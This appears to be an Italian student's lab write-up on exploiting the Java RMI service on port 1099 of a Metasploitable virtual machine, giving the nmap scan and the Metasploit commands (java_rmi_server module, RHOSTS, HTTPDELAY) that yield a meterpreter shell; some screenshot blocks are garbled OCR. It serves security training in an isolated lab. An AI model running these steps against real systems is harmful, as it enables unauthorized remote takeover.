## **Progetto S7/L5**

## **Exploit Java RMI**

Il progetto di oggi prevede l'expoitare la macchina vulnerabile Metasploiutable su un servizio vulnerabile sulla porta 1099 – Java RMI.

Un exploit è un software o un insieme di comandi, dati o sequenze di operazioni progettati per sfruttare una vulnerabilità o una debolezza in un sistema, un'applicazione o un servizio al fine di ottenere un vantaggio non autorizzato. La differenza da un malware è che l'exploite sfrutta una vulnerabilità già esistente nel sistema operativo, un'applicazione o un servizio mentre il malware è un software progettato per creare danni e deve essere iniettato nella macchina vittima.

Oggi andremmo ad utilizzare la vulnerabilità di Java RMI (Remote Method Invocation) presente sulla porta 1099 della nostra macchina vittima, questo servizio consente ad un programma java in esecuzione su una macchina virtuale di collegarsi ad un'altra macchina virtuale che utilizza questo servizio da remoto.

La gravità di questa vulnerabilità può essere molto alta dato che, per mezzo di questo servizio, un malintenzionato può iniettare da remoto del codice malevolo nella macchina vittima, ottenere privilegi da root/amministratore, permettere un attacco DoS o perfino recuperare dati o file personali privati della vittima.

## Ora passiamo all'esercitazione:

come prima cosa ho cambiato gli IP delle macchine virtuali che andrò ad utilizzare, la macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111 mentre la macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112 utilizzando il comando sudo nano /etc/network/interfaces.

Come seconda cosa ho eseguito una scansione aggressiva verso la vittima con il

comando <nmap -p 1099 -A 192.168.11.112> andando a specificare con il -p solo la porta interessata.

```
File Actions Edit View Help

(kali@kali)-[~]

$ nmap -p 1099 -A 192.168.11.112

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 09:45 CET

Nmap scan report for 192.168.11.112

Host is up (0.010s latency).

PORT STATE SERVICE VERSION
1099/tcp open java-rmi GNU Classpath grmiregistry

Service detection performed. Please report any incorrect results at https://nmap.org/submit
/.

Nmap done: 1 IP address (1 host up) scanned in 19.41 seconds

(kali@kali)-[~]
```

Con questa scansione possiamo vedere se la porta è aperta o chiusa, il servizio e la versione attivo su essa. Tutti dati fondamentali che serviranno dopo per la ricerca dell'exploit adeguato.

Una volta prese queste informazioni ho avviato Metasploit con il comando <msfconsole>. Una volta dentro la console ho utilizzato il comando <search java rmi>, utilizzando le informazioni prese dalla scansione precedente, per vedere un elenco di exploit che potrebbero fare al caso mio. Dopo alcune prove ho utilizzato il 4 <exploit/multi/misc/java\_rmi\_server>.

Spiego in breve cosa mi dice questo exploit:

<multi> mi dice che questo exploit può funzionare su più piattaforme ossia Linux,Windows ecc..

<misc> mi indica la categoria "miscellanea" indica che l'exploit potrebbe non rientrare in una categoria specifica e potrebbe avere un obiettivo più generico.

<java\_rmi\_server> mi indica che va a colpire il servizio Java RMI.

Poi attraverso il comando <use 4> oppure potevo scrivere

<use exploit/multi/misc/java\_rmi\_server>, che sarebbe il path dell'exploit, ho
indicato l'exploit da utilizzare.

Il payload lo ha scelto in automatico metasploit altrimenti potevo cercarne uno che facesse al caso mio con il comando <search payload> e poi caricarlo con il comando <set payload 'path payload'>.

```
| Proceedings | Notice | Marches | Notice | Marches | Notice | Not
```

Con il comando <options> possiamo vedere tutti i requisiti che servono per il lancio dell'exploit, nella colonna required dove vediamo scritto "yes" dobbiamo obbligatoriamente inserire dei parametri, in questo caso sono andato a settare l'IP della macchina vittima e ho aumentato il parametro HTTPDELAY con 20 per evitare che il server ci respinga la richiesta dopo il tempo stabilito; per settare tutto ho utilizzato il comando <set> e dopo ho messo la parola chiave per identificare ciò che volevo settare (es. HTTPDELAY e RHOSTS).

Una volta settato tutti i requisiti necessari ho rifatto options per verificare che i comandi siano andati a buon fine.

```
### Report of the part of the
```

A questo punto ho lanciato l'expoit con il comando <exploit> e come possiamo vedere dallo screen successivo l'exploit è andato a buon fine e ho creato una shell

con meterpreter dentro la macchina vittima, per avere la conferma effettiva di essere all'interno ho fatto il comando <ifconfig> e possiamo vedere che mi riporta l'IP della macchina Metasploitable.

Come seconda cosa l'esercizio ci chiedeva di recuperare delle informazioni sulla tabella di routing della macchina vittima, questo possiamo farlo con il comando <route>.

```
| Metal | Meta
```

Una volta dentro alla shell possiamo che per la vittima non c'è più niente da fare.

Un malintenzionato può fare quello che vuole, dal fare un attacco ransomware, al rubare dati personali, cancellare cartelle o bloccare la macchina.

Grazie della visione, Caregnato Giacomo.